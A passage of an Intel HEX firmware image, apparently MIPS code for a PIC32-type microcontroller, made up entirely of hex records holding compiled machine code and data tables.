08\n:1003f800eb51023c1f8542342000c38f1900620074\n:10040800101000004211020021204000240e410f6c\n:100418000000000001000424e30d410f000000006b\n:1004280088bf023cd060428c0002427cff00423010\n:100438001000c2a31c01410b000000002120000095\n:10044800e30d410f00000000211840004000c28f5a\n:100458002b10430004004010000000002110000091\n:100468007701410b0000000088bf023cd060428c3d\n:100478000002427cff0042301000c393efff62107d\n:10048800000000003000c38fcccc023ccdcc4234fd\n:100498001900620010100000c2100200c010020013\n:1004a8003000c2af00a0023cdc564224c400428c9b\n:1004b80029004010000000004400c28f26004014ac\n:1004c800000000003000c38f3400c28f18006200a3\n:1004d80012180000401003001400c2af1000c0a39f\n:1004e8005101410b000000001800c28f05004010a8\n:1004f800000000001000c393ff00022403006214f0\n:10050800000000007701410b000000001800c48fb4\n:100518001400c58f0a0006244eb5400f00000000e5\n:1005280003004010000000005801410b00000000cb\n:100538001000c293010042241000c2a34000c48fdf\n:1005480046bd400f000000001800c2af1800c28f5f\n:10055800e5ff4014000000003000c38f3400c28f54\n:100568001800620012200000421004001400c2affc\n:1005780001000424fb0d410f0000000000000000f2\n:1005880021200000fb0d410f000000002118400051\n:100598001400c28f2b106200f9ff40140000000005\n:1005a80001000424e30d410f000000003000c38f58\n:1005b8003400c28f1800620012180000ffff622486\n:1005c8002120400001000524510c410f00000000cb\n:1005d8000100022421e8c0032c00bf8f2800be8f31\n:1005e8003000bd270800e00300000000823004004e\n:1005f8000c00c6304008827c2530c200792c0324c8\n:100608000630c3000100c630823a04000200e73019\n:10061800c001827c2538e200c21204000c0042307e\n:100628002538e200e2cc03340638e3000200e73064\n:10063800021f040004006330c00e827c251862008b\n:10064800c010050008004230251862000300023c73\n:100658008833482406186800080063302518e3002a\n:1006680025186600423205000600c6304000a77c07\n:100678002530c700822a05000800a5302528c500b6\n:1006880090c742240610a2001000423025186200cc\n:10069800c2140400020042300004857c2510450085\n:1006a800022d04000400a530251045008225040011\n:1006b80008008430251044000200043cc4998424b6\n:1006c8000620440004008430251864000779023ca1\n:1006d8007b284224061062000800e0030100423033\n:1006e800d8ffbd272400bfaf2000b4af1c00b3afb4\n:1006f8001800b2af1400b1af1000b0af218880006d\n:10070800ffffc230003c0700023406002530e60037\n:100718003c00b38f26986602002c13002510450074\n:10072800c01f02003800a48f422004002520640066\n:1007380042280200c01f0500428004002580700086\n:100748007d01410f8290020080130200262852008a\n:10075800c0170500429010002590520042a00500e5\n:100768007d01410f21200002801302002628820209\n:10077800c0170500428012002580500042a00500e5\n:100788007d01410f212040028013020026288202a9\n:10079800c0170500429010002590520042a00500a5\n:1007a8007d01410f212000028013020026288202c9\n:1007b800c0170500428012002580500042a00500a5\n:1007c8007d01410f21204002801302002628820269\n:1007d800c0170500429010002590520042a0050065\n:1007e8007d01410f21200002801302002628820289\n:1007f800c0170500428012002580500042a0050065\n:100808007d01410f21204002801302002628820228\n:10081800c0170500429010002590520042a0050024\n:100828007d01410f21200002801302002628820248\n:10083800c0170500428012002580500042a0050024\n:100848007d01410f212040028013020026288202e8\n:10085800c0170500429010002590520042a00500e4\n:100868007d01410f21200002801302002628820208\n:10087800c0170500428012002580500042a00500e4\n:100888007d01410f212040028013020026288202a8\n:10089800c0170500429010002590520042a00500a4\n:1008a8007d01410f212000028013020026288202c8\n:1008b800c0170500428012002580500042a00500a4\n:1008c8007d01410f21204002801302002628820268\n:1008d800c0170500429010002590520042a0050064\n:1008e8007d01410f21200002801302002628820288\n:1008f800c0170500428012002580500042a0050064\n:100908007d01410f21204002801302002628820227\n:10091800c0170500429010002590520042a0050023\n:100928007d01410f212000028013020026a08202cf\n:10093800029c1300c09b130025289302c0170500d2\n:100948004280120025805000429805007d01410f29\n:10095800212040028013020026286202c0170500e9\n:100968004290100025905200429805007d01410fe9\n:10097800212000028013020026286202c017050009\n:100988004280120025805000429805007d01410fe9\n:10099800212040028013020026286202c0170500a9\n:1009a8004290100025905200429805007d01410fa9\n:1009b800212000028013020026286202c0170500c9\n:1009c8004280120025805000429805007d01410fa9\n:1009d800212040028013020026286202c017050069\n:1009e8004290100025905200429805007d01410f69\n:1009f800212000028013020026286202c017050089\n:100a08004280120025805000429805007d01410f68\n:100a1800212040028013020026286202c017050028\n:100a28004290100025905200429805007d01410f28\n:100a3800212000028013020026286202c017050048\n:100a48004280120025805000429805007d01410f28\n:100a5800212040028013020026286202c0170500e8\n:100a68004290100025905200429805007d01410fe8\n:100a7800212000028013020026286202c017050008\n:100a88004280120025805000429805007d01410fe8\n:100a9800212040028013020026286202c0170500a8\n:100aa8004290100025905200429805007d01410fa8\n:100ab800212000028013020026286202c0170500c8\n:100ac8004280120025805000429805007d01410fa8\n:100ad800212040028013020026286202c017050068\n:100ae8004290100025905200429805007d01410f68\n:100af800212000028013020026286202c017050088\n:100b08004280120025805000429805007d01410f67\n:100b18002120400280130200269062022120000258\n:100b28007d01410f21284002c013020026284202fd\n:100b3800000030ae040025aec017050042181000b2\n:100b4800251843004210050026187000261045009d\n:100b5800802605008231100025308600824105007c\n:100b6800003c0500022410002520e400023c05009a\n:100b78002630c400263807012630d0002638e50084\n:100b880080410500822610002520040182460500c8\n:100b98002620c4002638e80080300500828710002f\n:100ba8002580d00082470500268090002638e8007e\n:100bb800422a050026800502802f020082200300b9\n:100bc8002520a40082300200268004022628e600a0\n:100bd80040360200c22103002520c400c2310200b1\n:100be800262004022628a60080320200821d030067\n:100bf8002518c30082350200261883002628a6007f\n:100c08008232020026186600821302002610620053\n:100c1800080022ae0c0025ae2400bf8f2000b48f40\n:100c28001c00b38f1800b28f1400b18f1000b08f62\n:100c38000800e0032800bd27c8ffbd273400bfaf68\n:100c48003000b7af2c00b6af2800b5af2400b4af62\n:100c58002000b3af1c00b2af1800b1af1400b0afa2\n:100c680021a880000000948c0400908c0800928ccd\n:100c78000c00918c2f00a010211000002100b32c33\n:100c8800200002240b10b3002198400021b000007e\n:100c98002283173c7300f7260100423211004010ee\n:100ca800c017100042201400252044004280100084\n:100cb80021a0800000801036c01711004290120059\n:100cc80025905200428811002690570280b3313a8d\n:100cd80040b016007d01410f212800024703410b57\n:100ce80025b0560042201400252044004228100058\n:100cf80021a080002180a000c0171100429012009e\n:100d080025905200428811007d01410f40b0160025\n:100d180025b05600ffff7326e0ff6016010042323f\n:100d28000000b4ae0400b0ae0800b2ae0c00b1ae24\n:100d38002110c0023400bf8f3000b78f2c00b68f4f\n:100d48002800b58f2400b48f2000b38f1c00b28f09\n:100d58001800b18f1400b08f0800e0033800bd27d9\n:100d6800c0ffbd273c00bfaf3800beaf21f0a003d5\n:100d7800b292023cf2724234d24a03241300400079\n:100d88001100600012100000101800001800c2af17\n:100d98001c00c3afea96023c92c242342000c2afa4\n:100da800a24e023ca67642342400c2af2800c227d5\n:100db8002000c38f1000a3af2400c38f1400a3af7b\n:100dc800212040001800c68f1c00c78fba01410fb0\n:100dd8000000000001000424e30d410f00000000a2\n:100de8002800c22721204000200005241003410fbd\n:100df8000000000021200000e30d410f000000006a\n:100e080021e8c0033c00bf8f3800be8f4000bd27db\n:100e18000800e00300000000b8ffbd274400bfaf92\n:100e28004000beaf21f0a0034800c4afb292023c1c\n:100e3800f2724234d24a03241300400011006000c9\n:100e480012100000101800002000c2af2400c3af29\n:100e5800ea96023c92c242342800c2afa24e023c3b\n:100e6800a67642342c00c2af01000424e30d410fe2\n:100e7800000000001800c0afb603410b00000000de\n:100e88002c00c38f1800c28f211862003000c227bf\n:100e98002800c48f1000a4af1400a3af2120400085\n:100ea8002000c68f2400c78fba01410f0000000040\n:100eb8003000c22721204000200005241003410fe4\n:100ec800000000001800c28f010042241800c2afc1\n:100ed8001800c38f4800c28f2b106200e8ff40142f\n:100ee8000000000021200000e30d410f0000000079\n:100ef80021e8c0034400bf8f4000be8f4800bd27d3\n:100f08000800e00300000000a0ffbd275c00bfafa1\n:100f18005800beaf21f0a003059d023cd0664324d3\n:100f28000300638821286000d0664598d066432472\n:100f38000700648804006498d06643240b00668820\n:100f48002138c000080067982118e000d0664224c4\n:100f58000f0046882138c0000c0047982110e00097\n:100f68003400c5af3800c4af3c00c3af4000c2afc7\n:100f7800b292023cf2724234d24a03241300400077\n:100f88001100600012100000101800002000c2af0d\n:100f98002400c3afea96023c92c242342800c2af92\n:100fa800a24e023ca67642342c00c2af4800c227ab\n:100fb8002800c38f1000a3af2c00c38f1400a3af69\n:100fc800212040002000c68f2400c78fba01410f9e\n:100fd800000000001800c0af0f04410b0000000023\n:100fe8004800c22721204000080005241003410fb3\n:100ff800000000003000c2a31800c28f1800c327e9\n:10100800211062001c0042903100c2a33000c3933b\n:101018003100c2930400621000000000211000009b\n:101028001404410b000000001800c28f0100422484\n:101038001800c2af1800c28f1000422ce8ff4014fd\n:10104800000000000100022421e8c0035c00bf8ffb\n:101058005800be8f6000bd270800e00300000000b4\n:020000040000fa\n:020000041d04d9\n:1010680078ffbd278400bfaf8000beaf7c00b7af5c\n:101078007800b6af7400b5af7000b4af6c00b3af12\n:101088006800b2af6400b1af6000b0af00a0133c1d\n:10109800059d163ca13cd6269000a6af7c6f64ae99\n:1010a80021a000005800a0af0000b0909a000012e4\n:1010b8000100b5242110d00200004280880042308f\n:1010c800a2004014250002248b0002162188a002e9\n:1010d8000100b28021800000040003245400a3af63\n:1010e8005000a0af04001e24ff0052327900422ea7\n:1010f800630140100100352680101200049d043c55\n:101108001c118424211082000000428c0800400039\n:10111800000000006413049d8816049d8816049d31\n:101128008816049d8816049d8816049d8816049dbb\n:101138008816049d8816049d8816049d8816049dab\n:101148008816049d8816049d8816049d8816049d9b\n:101158008816049d8816049d8816049d8816049d8b\n:101168008816049d8816049d8816049d8816049d7b\n:101178008816049d8816049d8816049d8816049d6b\n:101188008816049d8816049d8816049d8816049d5b\n:101198008816049d8816049d8816049d8816049d4b\n:1011a8008816049d8816049d8816049d8816049d3b\n:1011b8008816049d8816049d8816049d8017049d32\n:1011c8008816049d8816049d8816049d8816049d1b\n:1011d8008816049d8816049d8816049d8816049d0b\n:1011e8008816049d8816049d8816049d8816049dfb\n:1011f8008816049d8816049d8816049d8816049deb\n:101208008816049d8816049d8816049d8816049dda\n:101218008816049d8816049d8816049d8816049dca\n:101228008816049d8816049dec16049d8816049d56\n:10123800ec16049d8816049d8816049d8816049d46\n:101248008816049d9c17049d8816049d8816049d85\n:101258008816049d8816049d8816049d8816049d8a\n:101268008816049d8816049d8816049d8816049d7a\n:101278008816049d1016049d8816049d8816049de2\n:101288008816049d8816049d8816049d8816049d5a\n:101298008816049d8816049d8816049d8816049d4a\n:1012a8002416049d1c16049dec16049dec16049d42\n:1012b800ec16049d6816049d1c16049d8816049d52\n:1012c8008816049d9c17049d8816049d8816049d05\n:1012d800b013049d8816049d8816049d8816049de5\n:1012e8005c15049d8816049d1c16049d8816049d93\n:1012f8008816049dd014049d694f410f7c6f648e3d\n:1013080052010216ffff03242128a0020000b0901a\n:1013180068ff00160100b5245800a28f8400bf8f13\n:101328008000be8f7c00b78f7800b68f7400b58fb1\n:101338007000b48f6c00b38f6800b28f6400b18ff7\n:101348006000b08f0800e0038800bd276356410f96\n:1013580000000000c504410b2128a0025800a48ffa\n:1013680040018014211080007c6f628e0c00429432\n:101378000001427c231002008400bf8f8000be8fd2\n:101388007c00b78f7800b68f7400b58f7000b48f6b\n:101398006c00b38f6800b28f6400b18f6000b08fab\n:1013a8000800e0038800bd27080012246356410f97\n:1013b800000000007c6f648e694f410f5c00a0af95\n:1013c800218840002d0002244a00221200a0033c7c\n:1013d80021202002212840029b52410f2130800207\n:1013e800ff000324500043107c6f658e30000224f8\n:1013f8003d012212000000000c05410b21f0000005\n:10140800694f410f7c6f648e218840002120400085\n:10141800212840029b52410f21308002ff00032403\n:101428000b0043102120200202f0d2732120200259\n:10143800212840029b52410f21308002ffff1026d5\n:101448002084107ceeff001621f0c2032120200228\n:10145800212840029b52410f21308002ff000424c2\n:10146800550144107c6f658e23101e005c00a38f0d\n:101478000bf043005000a38fa4ff60142128a002a2\n:101488005800a48f01008224ff0042305800a2af08\n:10149800040002245400a38f0400621002000224f6\n:1014a8005400a38f480162109000a38f9000a38f6f\n:1014b8000000628c040063249000a3af00005eacbf\n:1014c800c504410b2128a002100012246356410fc5\n:1014d80021a000007c6f648e694f410f5c00a0afb3\n:1014e800218840002d000224baff22162120200264\n:1014f80000a0033c7c6f648c01000324694f410ffa\n:101508005c00a3af2188400021202002212840024e\n:101518009b52410f21308002ff000324b4ff431483\n:10152800300002247c6f658e7555410f2120200202\n:101538005800a48fcb0080542110800000a0023cea\n:101548007c6f428c0c0042940001427ce004410b09\n:10155800231002006356410f000000005000a38fc3\n:10156800d40060109000a38f694f410f7c6f648e88\n:10157800ffff0324d80043505800a28f12004014e4\n:10158800010043247c05410b5000a38f1d0162100c\n:101598005000a38f03006014ffff10260000e2a292\n:1015a8000100f7262084107c0f0000125000a38f42\n:1015b800694f410f7c6f648e010043240200642c44\n:1015c800090080545000a38f059d043ca03c84244e\n:1015d800211883000000638088006330ebff6050af\n:1015e800010023825000a38f48ff60142128a00225\n:1015f8005800a48f01008224ff0042305800a2af97\n:10160800c504410b0000e0a210001224ed04410bb8\n:1016180001001424ed04410b0a0012245000a38f8a\n:101628009c0060105800a48fffff1124694f410fe0\n:101638007c6f648e870051105000a38f03006014e4\n:10164800ffff10260000e2a20100f7262084107c8c\n:10165800f6ff001e2128a002c604410b0000b0902e\n:1016680001003282020003245400a3af2188a002a3\n:10167800ff0052327900422e9ffe401401003526a9\n:101688002110d2020000429004004230e8004010cd\n:1016980000000000ef52410f212020020100328299\n:1016a8002084027c059d043ca13c84242110440232\n:1016b80000004290040042308bfe40102188a002b6\n:1016c80001003126000032822110d202000042902f\n:1016d80004004230fbff4054010031263d04410b19\n:1016e800ff0052326356410f000000007c6f648e89\n:1016f8003b000224694f410f0a8050002d0003244b\n:10170800c200431000a0033c1000a3275c00a3af55\n:1017180001007e24219000002e00112406000012f2\n:10172800ffffd7272120c2020000849004008430e4\n:1017380009008014000000001d0040160000000091\n:101748001b00511400000000ffffd1a30100522626\n:10175800da05410bff005232fcff5110ffffc2a314\n:101768007c6f648e694f410f0100de27ffff102652\n:10177800c905410b2084107c5000a38f010062240e\n:1017880001003282ff0042305000a2af3c04410bfe\n:101798002188a0025400a38fb4ff7e10010032827a\n:1017a800080003245400a3af3c04410b2188a00285\n:1017b800060000122188e002dfff042424204400f0\n:1017c80045000324550083107c6f648effff0324bb\n:1017d800040043100000e0a27c6f658e7555410f30\n:1017e800212040005c00a38fdcfe77105000a38fff\n:1017f800c6fe60142128a0025800a48f010083248b\n:101808005400a48f0500822cff0063305800a3af5a\n:10181800730040149000a38f0000708c21280000f2\n:10182800e558410f5c00a48f212040009000a38f51\n:101838004652410f04007124000002ae040003aeba\n:101848009000b1afc504410b2128a0027f004314ca\n:1018580000a0033c5800a48fc7fe8010ffff02249d\n:10186800211080008400bf8f8000be8f7c00b78f5e\n:101878007800b68f7400b58f7000b48f6c00b38f8a\n:101888006800b28f6400b18f6000b08f0800e00379\n:101898008800bd27010082249000a38f0000778c68\n:1018a800ff0042305800a2af040063248c05410bae\n:1018b8009000a3af0000778c040063249000a3afce\n:1018c800694f410f7c6f648effff03242bff431485\n:1018d800000000005800a28fa8fe40148400bf8fab\n:1018e800e004410bffff0224694f410f7c6f648eb7\n:1018f800780003242a004310580003242a004314c4\n:101908007c6f658e2800801200000000694f410f2f\n:101918007c6f648e0005410b218840000000e2a224\n:10192800694f410fff001032ffff0326201c037c84\n:10193800a6ff60100100f7262d000424480044107b\n:101948002b000424470044107c6f648e2120c202bf\n:1019580000008490040084309cff8010ffff632403\n:10196800ff007030010010266206410b2180f00252\n:10197800000063900400633095ff6010ffff0324ac\n:101988007c6f648e0100f726694f410fffffe2a2ca\n:10199800f7fff0562118c202f605410bffff03249a\n:1019a800daff80127c6f658e7555410f212040004b\n:1019b8000c05410b21f000007555410f2120200234\n:1019c8001d05410b23101e000000628c04006324d7\n:1019d8009000a3af00005ea4c504410b2128a0021b\n:1019e8000000718c5c00a48f212800003559410f3c\n:1019f80004007024000022ae9000b0afc504410b73\n:101a08002128a0027b05410b020035267c6f648cdf\n:101a18001000a2a31000a327694f410f5c00a3afd9\n:101a2800ffff10262084107cc605410b1100a32758\n:101a3800694f410f7c6f648e33fe4212ffff03240f\n:101a4800a5ff43505800a28f00a0033c7c6f658c13\n:101a58007555410f21204000e004410b5800a28f2a\n:101a68007c6f648e010022a2694f410f0200372665\n:101a7800feff0326201c037cb5ff60142120c20250\n:081a8800f605410bffff0324ea\n:020000040000fa\n:020000041d04d9\n:101a9000c0ffbd273c00bfaf3800beaf3400b0afc1\n:101aa00021f0a0034000c4af4400c5af4800c6af5a\n:101ab0004c00c7af5400c38f6400c28f2800c3a37b\n:101ac0002c00c2a31800c0af2000c0a32100c0a3f7\n:101ad0006000c28f050040100000000001000224d9\n:101ae0002200c2a3bd06410b000000000200022438\n:101af0002200c2a32200c3934c00c28f18006200d0\n:101b00005800c28f1000a2af5c00c28f1400a2afb9\n:101b10004000c48f4400c58f00a0023cdc1c46245a\n:101b2000123800003608410f000000009480828fb8\n:101b30000400401000000000211000007a07410b53\n:101b4000000000005800c28f060040100000000096\n:101b500001000424e30d410f00000000e906410be1\n:101b600000000000e906410b000000005800c28f91\n:101b70000c0040100000000021200000e30d410f88\n:101b800000000000211840005800c28f2b104300b5\n:101b90000400401000000000211000007a07410bf3\n:101ba0000000000088bf023ca061428c400042302f\n:101bb000eeff401000000000f080828f0400401013\n:101bc00000000000211000007a07410b0000000017\n:101bd0005a07410b000000002000c0a31c00c0af4a\n:101be0001c00c28f1800c2af2607410b0000000086\n:101bf00000a0023cdc1c43241800c28f21106200ac\n:101c000000004290218040001c00c28fc2100200e0\n:101c10005000c38f21106200000042902118400044\n:101c20001c00c28f271002000700423021206000f4\n:101c30002128400029ba400f0000000006000216cb\n:101c4000000000001c00c28f010042241c00c2af33\n:101c50001b07410b000000001800c38f1c00c28f3f\n:101c6000231062001800c2af1c00c0af2800c3934d\n:101c70001c00c28f05006214000000000100022455\n:101c80002000c2a32e07410b000000001800c28fe5\n:101c9000010042241800c2af2200c3934c00c28f3f\n:101ca000180062001800c28f121800002b104300a9\n:101cb000cfff4014000000002800c2931800c38f1b\n:101cc00023106200010042241800c2af2000c2931a\n:101cd00003004010000000005d07410b0000000001\n:101ce0002100c293040040100000000021100000f9\n:101cf0007a07410b00000000010002242100c2a36a\n:101d00001800c0af5207410b0000000000a0023cc9\n:101d1000dc1c43241800c28f211062000000429096\n:101d200001004238ff00433000a0023cdc1c442488\n:101d30001800c28f21108200000043a01800c28f3b\n:101d4000010042241800c2af2200c3934c00c28f8e\n:101d5000180062001800c28f121800002b104300f8\n:101d6000eaff4014000000002800c2939aff4014cc\n:101d7000000000002c00c393010002240c00621438\n:101d8000000000001800c38f00a0023cdc1c4224ad\n:101d9000211062004800c48f212840004c00c68feb\n:101da00047b9400f000000007a07410b0000000017\n:101db0001800c38f00a0023cdc1c422421106200ea\n:101dc0004800c48f212840004c00c68f214b410f92\n:101dd000000000004800c38f4c00c28f2110620039\n:101de000000040a04c00c28f21e8c0033c00bf8f20\n:101df0003800be8f3400b08f4000bd270800e003dc\n:101e000000000000d8febd272401bfaf2001beaff7\n:101e100021f0a0032801c4af2c01c5af3001c6af2b\n:101e20003401c7af1c00c227212040002801c58f04\n:101e3000cbb8400f000000001800c2af1800c28fde\n:101e4000040040140000000021100000a007410b16\n:101e5000000000001c00c2273401c38f1000a3af94\n:101e60003801c38f1400a3af212040001800c58f94\n:101e70002c01c68f3001c78fa607410f000000005c\n:101e800021e8c0032401bf8f2001be8f2801bd2798\n:101e90000800e00300000000e0fdbd271c02bfaf0a\n:101ea0001802beaf21f0a0032002c4af2402c5afc8\n:101eb0002802c6af2c02c7af00a0023cdc56422469\n:101ec000cc00428c0a004010000000001800c2271d\n:101ed000212040002002c58f2402c68f51bb400f35\n:101ee000000000002402c2afc207410b0000000046\n:101ef0001800c227212040002002c58f2402c68f6f\n:101f0000214b410f000000002402c28f1800c3279c\n:101f1000211062002a000324000043a03402c28f73\n:101f20001000a2af2802c48f1800c2272128400049\n:101f30002c02c68f3002c78fd707410f0000000068\n:101f40000100022421e8c0031c02bf8f1802be8fcb\n:101f50002002bd270800e00300000000e8ffbd27c5\n:101f60001400bfaf1000beaf21f0a0031800c4af33\n:101f70001c00c5af2000c6af2400c7af1800c38f38\n:101f8000cccc023ccdcc42341900620010100000d1\n:101f9000c2100200c01002001800c2af1800c28fa9\n:101fa000401002001800c2af1c00c28f0000429017\n:101fb000088282a31c00c28f01004224148282afd7\n:101fc0001c00c28f1c8282af2000c28f288282af89\n:101fd0002400c28fff004230098282a32800c28ff2\n:101fe000208282af04000224808082a3c40c410faf\n:101ff0000000000088bf023c00100324641043acc2\n:1020000088bf023c681040ac80bf023c000a40ac74\n:1020100088bf033c20616294444a027c206162a430\n:1020200088bf033cd06062940421027cd06062a42b\n:1020300088bf033c60606294010004240421827c18\n:10204000606062a488bf033c206162940400027c4b\n:10205000206162a480bf023c000a40ac80bf023c09\n:10206000100a40ac1800c28f42100200ffff432448\n:1020700080bf023c200a43ac80bf023c0080033496\n:10208000080a43ac88bf023c1c000324c41043acc4\n:1020900088bf023c18000324c81043ac88bf023c30\n:1020a00000100324341043ac88bf023c001003240a\n:1020b000641043ac88bf023c00100324681043ac9a\n:1020c00021e8c0031400bf8f1000be8f1800bd2789\n:1020d0000800e00300000000e0ffbd271c00bfafc8\n:1020e0001800beaf21f0a0032000c4af2400c5af8c\n:1020f0002800c6af2c00c7af2800c28f148282af61\n:102100002c00c28f348282af3400c28f3c8282aff7\n:10211000f08080af1482828f2120400021280000af\n:102120002c00c68f7152410f0000000088bf023c96\n:102130000002033c741043ac88bf023c2061428c17\n:10214000020042301b004010000000002000c28f3f\n:102150004210020003000424212840002000c68f02\n:1021600008000724b20b410f0000000000a0023c51\n:10217000dc5642249c00438c00a0023cdc564224e6\n:10218000f000428c18006200122000001000c4af62\n:10219000eb51023c1f8542341000c38f19006200ce\n:1021a000101000004211020021204000240e410fb7\n:1021b0000000000001000424e30d410f00000000b6\n:1021c0007f08410b000000003000c28f0b00401060\n:1021d0000000000021200000e30d410f000000007e\n:1021e000211840003000c28f2b1043000300401024\n:1021f00000000000aa08410b0000000088bf023c5c\n:10220000d060428c00014230efff4014000000001b\n:102210009308410b000000003000c28f0b004010fb\n:102220000000000021200000e30d410f000000002d\n:10223000211840003000c28f2b10430003004010d3\n:1022400000000000aa08410b0000000088bf023c0b\n:10225000d060428c00014230efff401000000000cf\n:1022600001000424e30d410f000000002000c38f93\n:10227000cccc023ccdcc42341900620010100000de\n:10228000c21802002400c28f180062001218000059\n:10229000c0100300ffff422421204000010005245c\n:1022a000510c410f0000000021e8c0031c00bf8f4b\n:1022b0001800be8f2000bd270800e00300000000ca\n:1022c000c0fdbd273c02bfaf3802beaf21f0a00366\n:1022d0004002c4af010002242c00c2af3000c2276c\n:1022e0002120400030000524000206247152410fd5\n:1022f000000000003002c0a300a0023cdc564224d3\n:102300009c00448c00a0023cdc564224a400458c76\n:1023100000a0023cdc564224b000428c00a0033cea\n:10232000dc566324bc0063902140600000a0033ca5\n:10233000dc5663248c00678c00a0033cdc566324cd\n:102340008800668c3000c32700a0093c99572925d6\n:102350001000a9af1400a8af1800a7af1c00a6afcb\n:102360002000a0af010006242400a6af21306000a9\n:1023700021384000a406410f000000000100422c5b\n:10238000ff0042302118400000a0023cdc564224ed\n:10239000b000428c04006214000000002110000014\n:1023a0000d09410b000000002800c0aff808410be8\n:1023b000000000002800c28f2800c32721106200ff\n:1023c0000800439030000224020062100000000068\n:1023d0002c00c0af2800c28f010042242800c2afe9\n:1023e0003000c227212040007b4b410f000000003d\n:1023f000211840002800c28f2b104300edff40142d\n:10240000000000002c00c28f0400401000000000fb\n:10241000211000000d09410b000000003000c22710\n:102420004002c48f21284000574a410f000000009d\n:102430000100022421e8c0033c02bf8f3802be8f96\n:102440004002bd270800e00300000000e8ffbd27b0\n:102450001400bfaf1000beaf21f0a0031800c4af3e\n:102460001c00c5af1c00c28f000042800400401455\n:1024700000000000211000002509410b00000000b1\n:102480001800c48f1c00c58f574a410f0000000080\n:102490000100022421e8c0031400bf8f1000be8f8a\n:1024a0001800bd270800e00300000000f8ffbd276a\n:1024b0000400beaf21f0a0030800c4af88bf023cf7\n:1024c00002000324741043ac88bf023c781040ac77\n:1024d00081bf023c00800334049043ac81bf023cc6\n:1024e0000b00033c409043ac0800c28f1500401025\n:1024f0000000000088bf023c00080324486043ac91\n:1025000081bf023c00080324649043ac81bf023cbd\n:10251000ffff033c509043ac81bf023c008003347a\n:10252000209043ac81bf023c3f000324109043ac99\n:1025300081bf023ce4000324009043ac6309410bdb\n:102540000000000088bf023c00080324486043ac40\n:1025500081bf023c00080324649043ac81bf023c6d\n:10256000ffff033c509043ac81bf023c008003342a\n:10257000209043ac81bf023c03000324109043ac85\n:1025800081bf023ce4000324009043ac81bf023cc5\n:1025900000800334089043ac0000000088bf023c78\n:1025a0004010428c02004230fcff4010000000004e\n:1025b00021e8c0030400be8f0800bd270800e00327\n:1025c00000000000d8ffbd272400bfaf2000beaf31\n:1025d0001c00b0af21f0a0032800c4af2c00c5af91\n:1025e0002800c28fffff4224421302000100422450\n:1025f0001400c2af212000002b09410f0000000091\n:1026000001000224948082af2c00c28f030040148a\n:102610000000000001000224848082af00a0023c80\n:102620005c454424c62c410f000000001000c0afe0\n:10263000ae09410b000000001000c38f1400c28fd0\n:102640001b006200f4014000101000001280000026\n:102650000365400f000000003c004224831002008c\n:10266000ff004330fcff022424106200ff004330cf\n:1026700088bf023cd060428c0002427cff004230a6\n:1026800040100200ff00423021106200ff00433082\n:102690009080829321106200ff00433000a0023c32\n:1026a000dc24422421100202000043a01000c28f4b\n:1026b000010042241000c2af1000c38f2800c28f57\n:1026c0002b106200dcff401400000000948080affb\n:1026d000848080afc40c410f0000000021e8c003db\n:1026e0002400bf8f2000be8f1c00b08f2800bd27a4\n:1026f0000800e00300000000d0ffbd272c00bfafa2\n:102700002800beaf21f0a0033000c4af1800c0a362\n:102710001c00c0af2000c0af2400c0a73000c28f93\n:102720000120422c0300401400000000002002247d\n:102730003000c2aff0bd400f00000000059d023c1c\n:102740004c1c44241800c2272128400000be400f22\n:1027500000000000059d023c5c1c4424059d023cd9\n:10276000681c45241800c2272130400070be400f6d\n:1027700000000000059d023c881c44241800c2276c\n:102780002128400000be400f00000000059d023cd3\n:102790005c1c4424059d023c8c1c45241800c22767\n:1027a0002130400070be400f00000000059d023c3b\n:1027b0009c1c44241800c2272128400000be400f62\n:1027c00000000000059d023c5c1c4424059d023c69\n:1027d000a81c45241800c2272130400070be400fbd\n:1027e0000000000000a0023cdc564224870042901a\n:1027f0002118400000a0023c801803004c714224c4\n:10280000211062000000428c059d033cb41c64242e\n:10281000212840001800c2272130400070be400f20\n:1028200000000000059d023c9c1c44241800c227a7\n:102830002128400022be400f00000000059d023c00\n:10284000bc1c44241800c2272128400000be400fb1\n:1028500000000000059d023c5c1c4424059d023cd8\n:10286000c81c45241800c2272130400070be400f0c\n:102870000000000000a0023cdc564224a000429070\n:102880002118400000a0023c80180300a8714224d7\n:10289000211062000000428c059d033cb41c64249e\n:1028a000212840001800c2272130400070be400f90\n:1028b00000000000059d023cbc1c44241800c227f7\n:1028c0002128400022be400f00000000059d023c70\n:1028d000dc1c44241800c2272128400000be400f01\n:1028e00000000000059d023c5c1c4424059d023c48\n:1028f000e81c45241800c2272130400070be400f5c\n:102900000000000000a0023cdc564224a400428cdf\n:102910001c00c327212060000a000524059d033cfc\n:10292000041d662421384000d158410f00000000ea\n:102930001c00c227059d033cb41c642421284000d0\n:102940001800c2272130400070be400f0000000078\n:10295000059d023cdc1c44241800c22721284000ad\n:1029600022be400f00000000059d023c881c44244c\n:102970001800c2272128400022be400f000000009e\n:10298000059d023c081d44241800c2272128400050\n:1029900000be400f00000000059d023c5c1c44246a\n:1029a000059d023c101d45241800c227213040001f\n:1029b00070be400f00000000059d023c341d442401\n:1029c0001800c2272128400000be400f0000000070\n:1029d000059d023c5c1c4424059d023c401d452491\n:1029e0001800c2272130400070be400f00000000d8\n:1029f0001900c227212000002128000021304000ba\n:102a0000ac2a410f000000001900c293059d033c51\n:102a1000b41c6424212840001800c2272130400043\n:102a20008bbe400f00000000059d023c341d442475\n:102a30001800c2272128400022be400f00000000dd\n:102a4000059d023c5c1d44241800c227212840003b\n:102a500000be400f00000000059d023c5c1c4424a9\n:102a6000059d023c641d45241800c227213040000a\n:102a700070be400f000000001900c22701000424ae\n:102a80002128000021304000ac2a410f0000000046\n:102a90001900c293059d033cb41c64242128400006\n:102aa0001800c227213040008bbe400f00000000fc\n:102ab000059d023c5c1d44241800c22721284000cb\n:102ac00022be400f00000000059d023c081d44246a\n:102ad0001800c2272128400022be400f000000003d\n:102ae000059d023c801d44241800c2272128400077\n:102af00000be400f00000000059d023c5c1c442409\n:102b0000059d023c881d45241800c2272130400045\n:102b100070be400f00000000059d023ca41d44242f\n:102b20001800c2272128400000be400f000000000e\n:102b3000059d023c5c1c4424059d023cb01d4524bf\n:102b40001800c2272130400070be400f0000000076\n:102b50001800c2271000a2af059d023cb41c4424fb\n:102b600000a0023cdc244524fcff06243000c78f73\n:102b7000e5be400f00000000059d023ca41d44245a\n:102b80001800c2272128400022be400f000000008c\n:102b9000059d023cd01d44241800c2272128400076\n:102ba00000be400f00000000059d023c5c1c442458\n:102bb000059d023ce01d45241800c227213040003d\n:102bc00070be400f000000001800c2271000a2af26\n:102bd000059d023cb41c442400a0023cdc24452496\n:102be000020006243000c78fe5be400f0000000041\n:102bf000059d023cd01